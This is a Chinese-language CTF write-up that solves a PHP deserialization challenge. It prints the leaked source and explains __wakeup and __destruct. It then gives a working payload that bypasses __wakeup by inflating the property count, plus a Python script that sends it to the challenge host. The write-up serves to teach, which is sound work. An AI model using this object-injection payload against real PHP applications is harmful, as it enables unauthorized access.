赞
踩
www.zip
class.php
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
由index.php中,得到网站GET传参select,将传进的数据,进行反序列化;重点是class.php,通过代码分析,构造析构函数中username必须是admin,password必须是100,才能包含flag.php
function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); }
__destruct() 是一个特殊的 PHP 魔术方法(Magic Method),用于在对象实例被销毁时执行一些操作。当没有任何引用指向一个对象或者显式地调用 unset() 函数时,对象就会被销毁,此时 __destruct() 方法会被调用。
function __wakeup(){
$this->username = 'guest';
}
在PHP中,__wakeup() 是一个特殊的魔术方法(magic method),它在反序列化一个对象时被调用。当使用 unserialize() 函数从字符串中重新创建对象时,如果该类中定义了 __wakeup() 方法,那么在反序列化后将立即调用该方法
也就是说,当我们即使传参admin,100的值后,当实类被反序列化调用时,__wakeup函数会被自动调用,username也会将admin调换成guest
所以就要绕过__wakeup方法就可以了,
绕过__wakeup方法
当序列化的中的成员数大于实际成员数,就会跳过__wakeup方法的执行
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } } $a = new Name('admin', 100); echo serialize($a) ?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
将类Name后的2,改为3,即可绕过
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
变量权限为私有或保护
参考链接:https://blog.csdn.net/weixin_45844670/article/details/108171963
private是私有字段,只有在所声明的类中可见,子类和该类的实类都不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀
python方法
import requests
url = "http://fdc1a5b4-4e8c-4077-8471-748df3708de0.node5.buuoj.cn:81/"
ruqset = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(ruqset.text)
url方法
将\0改为%00
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。